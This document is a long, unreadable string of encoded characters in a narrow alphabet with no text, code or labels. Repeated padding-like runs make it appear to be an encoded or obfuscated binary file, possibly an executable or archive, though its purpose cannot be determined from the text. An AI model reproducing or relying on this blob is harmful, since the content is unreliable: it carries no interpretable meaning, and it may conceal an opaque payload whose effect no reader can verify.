fWYXfWYXfW8bfWYXfWYXfW8byNwlOW8bfWwUwWge2OYUyJgXfE2O2X8XGE2bwCgX072uYjYXQW2uGC8U092uGCYbzOYUfCYu0E2leC8bzN2uwjYX0j2UejYXQj2ueC8bGW2UlC8bGW2XwV8UeuYUfC8XzN2UwC2btyYOwW8XaaYUwWYXfWYXfWYXfWYXfWYXZJwlG7wbfj8OzOwe0V2byO8l8a8UwMYe8N8OyN2XeEwb8X2l0i2byO8O8a8UwMYb6XwuzNwbeEwVtOwe0V2bOu2VYM8leMYbrJ8OyN2XeE8OzOwe0V2byOwV8a8UwMYetOwu6y2ueE8OyOwe0V2byO8l8a8UeMYbkV8OyN2XeEYupX2ezN2byOwV8a8UwMYbY9wu6NYXeE8O6Owe0V2bOMYU072UYCgO8N8OyN2XeEYXfWYXfWYXfWYXfWYXfWYXeW2XeWYXfW2OYWYbfuYXaJYUl92lOV2UfWYXfWYXfWYXfWYXfWYXayYXfWYOejYbaJYXOW2UfWYXfMYXfWYXfWYXOWYXfWYXfWgbfWYXfWYbay2UfWYXfWYOOWYXfWYXfW8UfWYXfWYXfWYXfWYbfWYXOWYXfWYXfWYXGWYXfWYXwWYXfWYXfWYXfWYXfWYXfVYXfWYXfWYXfWYXfWYXfWYXfWYXOWYXfWYbfWYXfWYXfWYXfWYXfWYUfWYXfWYXfWYXfEYXfWYXfEYXfWYXfWYXfWYbfWYXfWYbfWYXfWYXfWYXfWYXfEYXfWYXfWYOwi8UfWYXfW2uwWYXfWYXfWYO0WYXfWYOwiYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfW2O2NYbfWYXfWwufWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfM2beW2bkuYXfWYXfWYXfWYXf7YXfWYXfWYXOWYXfWYXfWYXfWYXfWYXfW2XfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfiYXfWYXayYXeM2bfMgXYEYXfWYXfWYXfWYXeWYXfWYXfWwbfWYXfWYXfVgXfWYXfWYXfVYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXwWYXfWYOeW2beMYXeiYuGWYXfWYXfWYXfWYbfWYXfWYXaNYXfWYXfWYXfjYXfWYXfW2OYWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfW2XfWYXfWwufWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYXfWYuGj8bYWYuGWYXeM2bfMgXGEYOwWgbfjYOOV2blV2u6X2bZNwVYMgXQCYutXgbfWYXfW8UwCYXfWYXfWwUfWYXfWYU0WwbfWwlYC8l6O8O8N8UeMgOtywuza8l0CgXfWYXf9YbwiYXwW8ewW2U8aYbfMYXQMYX0VgXZN8lwi8l078UGMgX2ywuaX2bYM2Ue9gXlC2eeiwuQV2ezXYO098XaXYXO92bGu2lOWYOzN8e8J2upJYXOj8bfMwUfWgOzNYbeWgbQWYXfigbwM8b8ywUf7wUkE8bQu2U2JwUfEYU8XYurJYlzN8UfWYO0iwU8O8UfM8l0C8lzOgb8yYOwM8U6y2eGiwleM2e8XYUaXYXf7YXfWgOGV2XGVgbZawVzO8U0W2OY92XfWgXyXYbfW2XYjwuaXYuaNgO0MgOzOweY98XfWgXyywurXYXlW2bljwu0i2eei8ltN8UQ98OzJ8X0EYXaJgezNYbQuYVYWgO8J8Oe7YO8NYVyJ2UzawlyaYu2OwUk72e8NwurJYu2OwltJ8l0V2baXgXYugXfEYO0i2bQ9YXYiYXwiYXwugbO7YOOCwueu8ezN8ezNwl0iYXligOGMYXfigOGWYUeW8bkWwbfW2e8OwukuwuwWgXkMwufW8UkV2bOEwbkige8XgO0C8UQjYXG92lGVYb8ywuZN2lY9gX6JwuaagezOge8X2ewWwuOCgXl78OYWYXlW8lYV8XkMYVOE8ltN2l8NgOwi8Xya2bOi8XlMwV2NwbfC2bGi8XkMwUkW8XeWYO6JYul72U0EwUtXYUeCwuwVYUwCwV2O8Upy8lGEYb0jgXrJgXejwbk7gX6awV0CYX6agX0C8e6y8brX2lYM2bZXgbkM2U0iYXeWYbYV2uQC2uGuwVw72eYi2bGj2XaXwlzJwbkigX2Xge8N8O2N8lG98l07wV0jwe6N2VwEYltNgbrJ8UQiwlzagOtOYbOWYOeV8UrJwVyXYeGuwV8N8O0C8blWYl0uwbeW2Uku8bOWYV0uwb8Nwl0jYXku2b0CwU0W2OwigOGugbYjgX8J2OYEwU6OwU0W8bzOgOzJwUOMYufW2lOWYbfu8l0CwU0ugXYiwbeugOGjYOGVYUkuwlYu2uej8XzaYOOC8XkV2XYC8e0W8brNwUyX2O0V2u2a8Ota8U2O2VYEYUeE2U09YXYiYOGMYle7YbQW2bZyYOGC2VGuYO2N2utaYbrJgewW8lOVYOzJYOe9YUOW2lyOYeza2UkWYVzagOwE8XluwVtOgOwi2XGCgOzNYb8OYOzawuw98bf7gbfMgX2a2bwi8X0V8XZJwbzNYV6y2bOE2Veiwl0WgXZJ2b0VwUlMYu6ywukWYVYjgbluwUfV2lyaYbrJwUkEYO2OYl6OgXyJYOeM2UQVYUaX2U2XYbaN8lG78beuwUQjwu0WYXfE2U2ygO6JwlOEgXkj8ltJ2VG7gXeW2XYC8XwEYbfMwUfMgbzaYUfCwbfuYXw78XYW2lGC8bfu2Vw98eGjwl0WwV0CwUO9Ye0u2VGCgXku8l6N8UzagXeugXeCYbrOwV6N8e0j8XlV8UkigetO2Xfi8Xw92U8agXaN8U0MYl0E8OYj8UlVYl8Jgbe7YOYigbfu2lO78XeC2uZNgO2NwleM2U8NYXOMYbeWYufEYXrJYb2X2UfVYVOWYXf72XwCwufu8bwWwlwEgOGuwlw72Uk98btXYXk7YuOi2bkWwufV8eGu2Uza2U8J2UzXgO8XgbQj8XfuYbQV2bkEYue72O6X8bay2b2XYb0M2byXgX2J8bljYOzOwulE8bw7gOGM2bOVgXlWwee7gOGWYVeCYV0CYe6yYU2XYu0iwukWwU0ugXlMYXaXYVtOYupXYUlugewi2ueEwbYjYu2XYXpNYufWYetJ2uf7YbeMYue9wbaXgXY7YbaOwlG72bwMYbOVYUaXgX0MYeYi8XY7YeyXgbya8brO2bOu2u0u8UGVwulM2btX8OGWYX07wUzXwuta2Oe72UeMYeYMYeYiwUzX2u0Cgb6O2bYWwuyNwbkCwVGj2X2XYUpJYOYjgbrJ2eta2eYuwbQEwU8NYXra2XaNgOGVYXaXgX092O8O2eG92UrXYXpJwulE2blEwUfWYbYWwlYiwe6NYeG9YlYE8XQMYX0iYVYi8lzXYlYuYOeW2e8XwufuYOw92OeW2UaX2uwWgbtN8UGWYl6OwUwuYUlW2bwM2bwV2UkWYUfjYbpN2lzywlzN8bQEYu8N2VwiYetXYXwWgXyX2Xya2ee7YX2OgXOVwufCYO0CgXfiwUkC2XfVYUzJYXQuwbwC2UOjYeYi2UzOwVtJ2UwE2VGigX6Owbk92XfEwblWYlyOwUO98eeu8XtJ2u0CYX2J2bki2X6J2uOCgX8N8e0EgXki2blW8lzN8bpO2utJwUfC2b0u8UkVwlw7Ybaa8bliYV2NYV0V8UZJYleu2XpOgbwjwuzaYXGjYUQE2ue72X2J2eOWYbrX8e8N2uQMYb0E2lzXYbQWgO6XYV09gbfV2XkigOzy8le9YbOWYVtX2uQMYewM2UaaYetX2UaJ2lYE2XYj2lOEYXpagOw92XGu2e0CYeGi8bQuwbejYbkW8U0C8OGi8XtXYlYigXliYOGMYuyXwee7wbYugOzXwbfj8OwiYUpaYewW8bGWYV8JgOY7wUeu2V8XgbfW2OG7gXG98brJYufige2awU8O2lwu2V2JYXyOgXaJ2XQE8XYu2uOEYO2y2uwiwl6O8O6X2l0CwbfiYeyagOwE2upy2UwigeeW2OOWwU0EYurO2b6agOeuYUQuYU6aYXfVYurO2V8agXkuwVej8X0M2lGW2u0uwVeV2bQMYupy2bZJ2bOj8lwiwUpXYbfjgOGiwUkMgb0MYXwMYUtOgetyYeGCYbwV2XOi8X8Owbki2eY72upO8XOCgb0EYuZXYleW2UGVgeYjYurO2XQjgXYVYb0W2ueW8XGigbeVYUkuwUQWgXfWwV0jwu092bGC2bY92bw9wukVwUzXwufj2e2NYXQW8XfVgO2N8lzy8O0M8etXgXeVgeeVYUfWgX0C8bwMYbzaYUra8bOE8OGC8b0EwlYMYl0igOwjYXQjYUG78XwigeyJYuli2ewjwuyOgOGu2bQiYeYigOwEYeGuYXta2lYu2V8N2blCgXYEYb0MgezN8l0EYbeEwleiYlG72lwVYlwC8lYi2Ozy8XeEYXej8Xli2e2OYXza2bf7Ye2ywlYMwlO72XeW2UfMYUfjYlYW2UZyYO0ugbkEwueEYbQigOza2XfV8l2N2UkV2bfjYUrJ2ueWgXpXwufiYXpyYXlW2Uaa2OG92u6J2uyagX6NgOGM8baXYUaO2X078XZOYbOMwV6NgbGWYbyXgOGiYOwEYU8XwU0E2upywbliweGC8bfW8lYE8bfWYUrJwukWYVYCYX8X2X0iYbwEwe8NYXtXwuYuwuliwbpOwlzJ2b0C8lty8U6y2O2XYeeEYXGW2brOYbwWYbk72b6yYXkWYVOV8X8N2bkC8UrNgXOiwlG7weOWYe2XgOtNYlej2UzNYVO98ewWwV0j2lYE2UwEYXtXYXOMgewW2bwj8Xk92bw92uGW2eGW2OYjwuY7YXrXYbaOYXaOwbzyYOwC2V6NYblCgOwWYXQWYXOWYu8ygbaJgXQ72etX2bZXgXtO8ewE2bYu8U0W2VGiYXQ92OYWYVzNwUlWYXZXYbkuwuGW2UG7gOOWYU2XYUOC2V8N2VzygbQVYVYi2X2JYeGuwuaa2uwE2ukigXwu2bYW2XGEwUwC8XkigbkV2UQV2O6J8OG98lG7YXpXwetJ8l0C8UG7wUzJ2b2XYu2OYl0uwb092b2JgXk72b8XYOtJgbOi8XlCYlYi2Uf9gX8OwUYVwuQC2uY7YXYiwuaJYbaJ2lYCgOeiYX2X2blu2ukj2uyy8eGj2b8aYewi8bGu2Ueu2OGWYufEwlGEYue9YUkE2X8X2UaN2O072XfW8XQVgb2X2upX2ufuYOGM8bYiYleiYewiwlG98UyagXY9wuGVYbfWYUQMYbYW2UfVYXe92baX2eGC2X0VYXwCwU6NYU2XYue9YXkV8UO9gbGEYVYigXkE2XfMYU6NYe6XwbGCYukEYOYM2XeCwulEYu8X8XrXgeYjYl2J8X8N8bwi2e8JwV6y2Xl72b0Cwl0CwVzyYOzagOtXwUtJwVeVgbaXYXkW2XlW2OtJgXf92UkW2XG9YXayYOzyYul9YUGE8UQj2Xwu2XeMgOeW8leiYbfi8Xk9wUlCYXfj8UrJ8lGEwUtaYUYj2uku2V2OgbrJ8lyXwl2J2bf9YVtXwuki2beWgbryYOzygOwC8ltNweYWYVG9wUOW8O2X2U2OwuaOwe0jYu8JYUyOYbrOwuw9we0WYlyNwbpa2b0i8U0ugOzaYlYW8eGWwufu2b8a8XwC8UtX2bfM8e6O2XkiYUyJYXya2UaaYXkEwuwEYbGCgX8XYV2N8UwVYUeCgXZN8U2J2upO2uQi2bQW2XaXwUlEYbGiYOwEYXrO2VYj2XOi8U2awUrO2OYj2X2JYOwW2UZJ2lYE2XeEweGu2XYEYXyJwbaJYXwEwUfEYbyy2bQj2OeC2O0W2U0MYXQjYOwM2b2OgXQM2ezOYX8JwblE2uwC2UYiYOeC8brO2bwj2Xfi8XQuYe0CYlw7YUej2U0EgXOEYXkVYu6X2eYi8U8N2OO92UOi2bfMYb8NgbwiYbOW2lOMwV8Nwlzywe2X2XfV2Xf92lYE2bk7wUwj2XkWgb092OYC2u0MYl8OYUw9wufu2ukiwu6NwU0M8beCwUk9wUw7wl2J8l0W8l0j2b6JYV2XwV2XgOwi2VwV8bOC2uw92b6y2V0W8l0VYl8NgXzXYXaO2e0CYb2X2ewCwuQ7YX8N2uwEYXwi2UrJYU2JgXfC2bwjYuQVYO09gb6X8ezOwVw9wUpa2bOWgXlWYlGi2U2XYu2yYbGEYXeW2lyN8b6Xgbfi8bpN2XaNgX0V8l0u2eO7YXfEgbryYeyJ2bGMYUlMgXtN8O8O2eGVwlzXYO6O2uwj8b2JgbYj2XQV8lOu2XQCgOGWwVGugXlMgetOYl8J2baaYXtXYufVwUY72XQMYbGCgO098OtJ8l6Owlwj8OGu2VwW8eya8l0M2Xfi8etXYu0VgO0W2bwuYUYCwuQjgXzywbrXYeOC2XrJgeYiYbkV8l0iYV8N2ulW2X0i2ueEYOeu2bGWwuY72bOWgXQMYX6X8U8OYX6JwlzJ2bYMYetJYeeEgO6JYOOWgXGVgXZO8l8XwUpJ2U8JYXGVYuZO2lGWwue72etNwV6N2b0VYuYjYufW2UZNYOtN2uei2XYuYXYW8Upa2eza8l2OgXtXYbaOwlwEYOY92O092Xay2XGCgXtJ2brO8X0u8b2N2X6NgXOj8bOEwUrOYXrJ2UpNgbpa8X2yYUO9YupJYXrXYb0EgOwWwuQCwUOi8l6a2l6y8X6N2uwV2beC2bei8XzJYbaagXaJ2ewM8bwEYOGuYVtJ8bkM8ewCYuY9gX2XYUeMYu8NYO8O2XyOYlGugOwuwe0M2UaXYOeE2UrOYuzJ2V8y8O8J2lYM2Uwi8UYMgO0M2baXYVGWgOY92V6J8UQuYufEwbrJYuwi8l6JwbyJgO8J8eGEwVY78eGE2bki2O8O2Upa2eYWYX2N2ewE2UwC2l0CgXwugb8Jwu2JgOGjgbrJ2XO78l2XYUeCwlGVYXYEgXGV8byO2u0u8XZJ2UzyYUaX8UeCwl8ygOYW8bfEYOej2XQi2e6O2u6ywuwjYVYWweeW8OwMwUaOYeO98b8O8bw98UYVYb0i8X6a8l0uwe8O2u0CwUyJgbG9gX8OYeYiYXGW2uQW8XGV2bay8OYu8l0VgXkVYbe92be72bliwlYC2e6XgeYuwV0i8O8X8lyN2Vw9wUGCwUQEYbeEYXfiwu2J2VeW2uQjYUOjwuQVYU8J2O0W2XYVwbQMgblEYulE2ltO8UfEwuzX2uwEYXOuYee72V8ywUtXYueCgOtJ2ezJYX6O2uYiYVGVYUeC2bQ92uGE2lOWgbyXYezNgO6XwbGV2ezJwbwj2XfjYOY7Ye6NYUfMgeeE8OGV2l6OYurX8eY98lwi2e0C2ueWYuGi2U2NwV8a2V0M8bkuwu0W8Uku8bzNYXeCgXk9wVOVwl2X2U6X8bGuwU2a2ltNwu8O2bQE2l0C2X0WwuwW2u8ywV6NwUQM8XOM2U0WwVGjYbQV8XG72uYW2bOWwUYM2Uej8UQ7YXYM2uYjgeYM2OeuYXku2uwu2XGVYbyNwezy8bwjwUeWYlyN2VzN2u0EYXf9YbQC8UZJYu8N2e8O2VwW2bGM8eGEYUrJ2X0EwueuYOGM8lwjwb8OgXpJYeYWYXe72UwVwUtaYUaJYUeCYUk92bty8bYVwbwC2VOi2lGugXzN2UtX2blEweeE8XkE8btO8lOi2e6N8lwWwbpXYXljwVeCYew7YXGiYO8yYbe98Ury8XY72VwWgXw9YO072OYW2XkMwlYuYb0uYXf92VyXYuya2leM8O0EYXGMwUe92b0ugbOiYX2JwbGugbQ98X0WgbpXwbOV2lOVYXyaYO2JgO2O8O2N2ufugeGV8OGV8OwVYXQVYV8N8Xzy2ukVYXe9YUaawue72VG92XOu2bzXYUGW8XQi2XYuYupyYbO72UGVYbaJ2blM2VGVwu6Owbty2UfEgO2XYXQiYueuYUrOYXaXwlYuYXOW8bYj2lyJwbQu8OGigX8NwUOE2XpOgbfuwVGiwlzy8eOMwbra2X0E2OGi8UfE2ue7wuluwbw98l092ufVwblVgbw72Ufi2b0u8e0EwUYi2eGM8b6NwuluwbfW2bOu8XpOwlGiwU2JYeYj2ul92uGE2XkEYbOjYUtyYlwEYOGMwUQu8l0CgXeWYbO92u2ywutJwukiwlYVYOYiwleEgOGMgbzywU8aYutO2UkMYXYCwuOWwue92lw92XpagetNgOta8eG92Ow7wu0E2O09wu0V8XrJYbl92bf98UrJ2uQiYX2awUQM2lzywUGE8U0V2UkiYXQV2uw72uwj2ezN2ltX8ltaYU0jgbyN2u6ywUtOYewMYbku8bYWYuQVYO8y8b6y8e0C2UGWYewj8U8J2u6NYukVgbtXYV09wuQ78ew78baN8XGi2uwEYU2a8lwiwbOE2lO7wU2J8bluwe6y2lYEgXty8lOjwewE8OtXYl0Cwukj8bk78l6X2VwW2u8a8ltawb6OwUtNwUejYVzywuQW2Ufu8XfiYV0W8brXYUrJ2O09gOeEwlzN2eYCYX8agbfWgbwiYbQV8Oei2Owj2uwjwukV2UwE8e09wuGC8lG9wUpJgbaN2bkWwuf9YXk92eYCYuZywUOigXOiwuYV8O8aYVej2uGWgbayYXfW2XzaYltX2X6agXkMYu2N2beWwb2J2l2N2V6J8eeW2u6N2u6NgOGW2uei2eOuwV2N8l6N8Oei8OYCgbQV8braYbyNYb0E2UliwbQEYXyO8OtNYlG92X0V2O092uO7Ybwiwbf92X0ugOwW2uwE2ew7YOtOYVwjwbe9YVeuYOOWwbQM8U6Nwu6N2byyYUwjYbQu8bOW8UfW2urO2VeVYu0EYXtN8b2JYlOMYO8O2OeE8OYCYXGugOeW2u6X2Xra2XOWYuQC8e8O8O6NYuOEgXra2UzN8UkuwuOEYXQV8OzywlGEYl0u2XrawuGCwUQVgXeEwUlWYuaNYUrOwlYWwVYu2OYW2eY98OGigO8N8lYiYV0i8UligO2XYXQi8lO98OtX2U0iwl6aYufCgOeMgOtywUGVYUpywlGi8e8yYV2aYbay2UkW8Xf92blj2e8ywuOj8OtO8XyN2VzJYbGEYXG92UfigbOC2Uw72bfiYX2XYe6O8OGMYO0uYuQMwuYj8UQ92bf72Xay8bQi2u07wl8O8XrywUQj2b0C2XyXwb8XYXY72UkWgbrOwVY9wlGu8XlC8XYV2bGW2XY9YeGu2U0jYuyagOzNYXeEgb0j2V098ltJwurywU2y2lGuwlYE2uejwuY7YOwW8Xpywl8N8Uf98bzNwUaa8lYW8XrygbayYbGi8b0uYUayYbQMwbk78XkuYuya2U8NwlYj2beW2ueE2O6a8Owi2VeEYeGj2bZJ8UeiYu2a2b07wbYCYuf72VwM2lGV2bpX2uOW2e6J8OYW8XzJwUf7gXYu8XwiYUlj2lYEYXO92XfM2XpOYuzywbYW2XfuYUtOweOVwu8ygXf78U8a8ew7gblC8ezN8XfWgXaXwuOEYV2XYX8JwVGC8XwEYOtN2OeW8Uf98eGi8XfEwulWwu8X2lwC8lGWwlGE2uY92bQMYXGu8U0V2UQ7YUzaYuOM8ewiYXYVYXYjYbGM8UQE8UfEYbQugbzXYbOMwUfiYVYMwlwiwUZyYUwEwuaOYXyagO8O2OwiwUya8b0E2uzJwbYEYOe72VwiYXyOwUQiwufVYeeWYVO7wb2aYVyOYVYM2V8X8Xta2VwuwUkEYuaawUQM2lYV2UtO2lYu2ltyYXGM8bOWwbkiYlwj8UzagXwWwUZy8e8awU0Ewl6OYXQVweO72U0W2Xf9YbfE2V8y2l6J8l092V0u8U8yYXkj2OzygXlW8bk72X0j8UOigXYC2bQMYU8y8UfuYupN2utO2leC2lO7YOYWYbOM8UliYezygOGWYVtNwuQMwbGigeYW2uwi2ueWwlYWYV0uYlyy2lyJ8lzO8XQW2u2yYV6y8be72UzN2uG9YXkWYbe92uwC2uwjYOtOwVGC2ezawu2yYltNgXrO2Xkugbay2bkEgXw7wbwige8ywUl78e0W2OeW2XpyYbfW2b2X8leMYV8X8eGu2Uku8ltN2l2J8lzO8ltaYbliwl2JgOtXYVYE8UlW2bku8bfE8UrJYOYi8XlugXfi8XfVwufWYlGC8U8JYlwWgXO72lGigXw7gO0C8UYjYO0ugbZJYbeCwbOW2uQiYVOj2Uaa2OGjwVwE2eYiwbZygXry2UOVwUpXYOYj2OOW8XQVgXkM2bf98O0VYOOEYUluYl8N2OeWwuGW8eGW8l2XYbzJgXQCYOY9wV6JYXkW8OYjwuyXgOOMYOei2U8XYbQW2UwiYXtO8ltagb6aYeeC2uliwbyNYXZOwUk72u6N2XOEwlyOYXzyYXtywuk7YO0W8e0VYXzOYeG9YX6O2u8agOwu2ufC2XyOYXf7YulM2b8awl098O098eYW8UrX8OYE2ukW8lGjYXpXYbYW2XQi2V0W8baNwleMYXOMYl6XYXkCYuO9YbQV2UyywUfj8UrJ8btOwl2JwUaNgX8X2Uaygb8XYe0iYX8a2uf9gXZOYXaNgXQ7wbkM8U0MYl6XYuaN8UGVgbfE8OGjgXYVgXfuwVtJYUtX8OGM2e2XYXtOgOeW8b8NwV8XwlYC8OtJ2OwM8XyOgbeVgXku8bry2X2JYXwWYuQVYl8XYeGM2e6aYUaJYe0VgXwigXwW8OOi8XtX2bzy2leMgbwWYuZNwufiYUQWgXfVYe2JYUrXYewWYbOEgXfiYXfjwuYEYUryge6NwUta8UZJgbeWgeGCgXQCYbYC2Uyy2l2XgXaNgOwEYUwCgeGigbli2eGi8ewiYOej2VGV2uzXwlGj8ewE2uaa2U0CwuwV2XyOYO6J8bliwe0WYV6y8X6XYleC2Xyy8UaOYufMwl0uYOe9wVeCYuY7gOwW2Xk7Yu0EwUYV2lzXwl8J2bza8btyYXwCgXQVYUfCwVGigXaNwUQ9gbfVgb6yYl6aYXfMgXfV8OzOYbay8eYC8lzy2XGWYV0u2UQMYbwiYXpNYXOu2O2a2XQV2uG9YezOwb0jgX0iYXQ9YbkigOwWweOi2b0iwUpX2l6OYOwEwuaNwUzXYV0C2U0WYbkWYUG7Ye6X2bfE2XpyYX0EYuyyYUk7gXyOwV6JYOYEgO8XwuYM8eGV2uYuYbkE2Uej8UY7wleEYUpNgX09YO0i8UyX8beWgX0MYO0i8XlCYXaNge6N2X2OwUeiYbyywlO7gXw9gXO98bkVYuaNgXw78lG72lwM8Xku2lw9YXfu2lYEYXaXwUrygbfuwe092OOE2XzX2ltyYufWgO2XwufiwUGM2XYWwlzO8UaJ8X0iwl6Nwe2awueVwlYjYbljYewWwe8a8ewV8O6NwUk72O8NgXwV8bpJYeY7YlwW8btO8bw98eG7gXOugXOjYUZOwuQV2upJYupOYUOjwewC2Oei2ewjYUaO2X0CgXYugXQigX078l6O2e8Xwbf72XfVYO6J8bQjYe2XgXaXYuGWYbYCwUyJ2u8awUwWgOzJgOzO8U2XwewE2O8OwUlM2e09YXrOwVzNYV0WYXzXwUyaYOwi8OyN8UOC2Ufu2uQi2UtygXkVgOtN2bQiYXk7YXwuwblMYV0MwUfWgO8OYewCwu6N2XlWYuGu8lwiYOYjgbry8O8J8etO8XYMwbQVYuGW2Xf72u8X2bwi2V2ygXfE2bGEwul9wU2JYuwM8leuwbzX2bligXta8UwV2uyaYbkuYbw9wlwjYXfjwlGigbOCYue78O8y2l0jwV0C2XeiYOw7wV2JgbpN2uwE2uaNwl0WYOwE8bryYu078b0MYlw98XrXYVyOYl8OwufWYO2J8Uaygb8a8bzOwU8J8bzygXOu2X8O2baXYUrOgXYE2X09YOGj8Xkj2lGj2ewMYb0MwueWwV2aYlGMwezO2XkuwufM8bfi8UfM8X8JYXeuwUzXYuQ92bwW8lYW8etXwurOYbrJgXeE8lGWgXtJgO09gXeMYXkj8l2XgeYCYXe98eGMgXyy2UZy2uwE2XG78UfWYXYMYXzJ8b09wUYj2XGW2eYMgb6OYbta8UQigXwuYU0EYb0M2XeCYlw92baO8XaXYltJ2UeuwbG7wl8JgeeW2UOM2VO92bkigXrOgXwMgeOCYblCgbwigbZy8XtXYewWwufMgeeW2UkVwU0i2lzJYlYiYXeEgX8N8XYuYeGjYVGEwV0W2e092uw7YeY7wuOM8OwVYUQuwu0WYU0jYe0CYltXYewE8UkV2VzOYuwWwl8JYXeiYl0CYUkiYXYiwe0WYV6X8UyO2uGiYbQCwUGCYU8N8bkMYVwCwUGiYb6Xwuf92O8JwUpJYbaO2XOWwbzN8e0C2ewiwbOuwu0V2e6aYufW2XeE2UY92V2N2UaO8U09gXkV2e6J8eGVgXGEYXkuwlYjYXtywUYM8X0i2btyYXl72uyJYUf7gbf72U078UfiwVwj8O0W8eYC2Uk7YXlW2bf9YXzN2bOV8eGW8bG72lOVYX2XYOOCgetNYezO2lOW2eza2b2a2ulMge6J2XOu8XQVYUOi2bO72UY92XfM2XfVwbaXYOzJwU0VYeGWwV0Cwuf7ge6JYUeWwlG9wurNYUGWwezXYO6XwulWgO6J8bfW2uayYbZJgO0MwuzOwUQVYetyYupNYbQ9wuyawuf9YuOE2bkiYVwj8XzyYlYuYOw78l098OOCgbrJ8lyXgbaJYezO8eeWwUeW2bQ98OYiYVe9YXaJYUpOYXlE2UyJYlwWgOzOYeGjwezXweOuweYWwUzNwlYCYOtX2uQMYXZy2XfW2UaJ2uYu8XzO8eyO8XeM8b0E2OO98UfCYbZy8baN2u0MwU6O8l8N2Xl72bGMYXe9gOyXYXf7wuw92UwWgeYM8l8J2leu2utawuwiwU0CwuYuYXf9wufE2uOEYl2Xwl0C8O0W2U2yYulC2upyYXYWYu6O8XwVYO0i8UkV2Vw92e2N2ukiYbrywlGM2bfjwUaXYXG98UfjwbeEwe6ygeGWYu0EYbkiYXY7Yuf92eO7YOOWYXZJwltywUGV2XfW8lYCYXOuYXyagbrOgXGM8O6N8eGEwUzN2Xlu2e8NwV0Cwu2OYUGC8UzX2uOCwV0MwbkugX0W2UraYlwMwuaNYOOjwl6J2XQu2UZagbQWgbfj2uwWwUGWwuyy2XQM8bfCYXYMwUzy8XtJ2u6y2Xfj8UwEgXaX2uki2OtO8OGCYeO7YeGjYXyy8UaX2XOWYbyX8XpXYupJ2ufu8eOE2Xfj8bwMYXOMYuwjwulWYXyOgb8XYVeuYbfVYufC8UzJgbpOwbk7YVe92XwEYXeiwUpy8ltJwUaJgbQCgXryYVG9gOzN8OwWYuwu2XpXgXeWYl8NwueVwbwVYV8ygew98bYjgO8ygbeE2l6aYb0VwV0uwUO92bl7gX8N8OG72UtO8XkWYlY9YbeMgXfj8U8NgX0WwbeWweY72upawuQ7wb6O2uO7YukWgOzJ8Ul98O09YUZJYuwM2UYEYV078bkC8O6XgbZOYuYVwUQMwleWYbkuYXfuYbQW2UGE2lwuYOwEYueV8OOVwe2yYbyJ2uwVYOYCYbGC8UeM2XGV8Uw7YXw9gO8XYbyJwbzO2lY92Xk7gOOWYlzNYO6J2UYWYOtJgbfjYu2yYXliYXfCwu8ygbwCgXGM2OO7YOwCgOY9Yewiwb2a8b8agX2J2be9wezageeWwUfCwe6a2VejYeGCYbrJ2uOVweGCYV8J2X2JgbkuYVeW8Xf9YUf98leuwU6J2UGiwUe7YXrJ2e2ygXya2Oty2UQ92e8O2uYiYuOj2U2XYeYu2bOWYOzJ8bfC2bQV2l2O8bpywueW2e0u2U2NwuYVwlej2lwCwu2X2utJ8bZN2bkWYXkEYXfi8OyyYX09YuejYOYWgX2J2XOCYVGuwbO92Vw72byNwuyX2U0E8XzNgO8yYOGV2u8ygXeWYO0VYe2X2bGW2OGV2ufj8XQWYOGuYXfj2uOE2OeW2beW2uli2Uki2XQi8eyaYuYC2bGiYuQWYUG72OtX2e8NYUaO2bfCYXaN2lei2eYW2ueW8UzX2UaaYezJwV0u2u2y2bYuYV8JYulE8XOMwUwjgXtO2e8XYuwuYeGj2Upy2X8OgOGiYXOu8Xay2u8NwUQCgOyy8XrO2ufWwueM2Xf9gX6J8l0u2lzN8XQWgXOW8bf7YbzOgXfWwbza8l092UfV2UGCwlY92e6ywewMgeYE2XwuYVGVgXpXwV6OgbOM8OGiYbtOYetJgXyO2ukM8O0C2b0iwVzO8OGVYe8X2u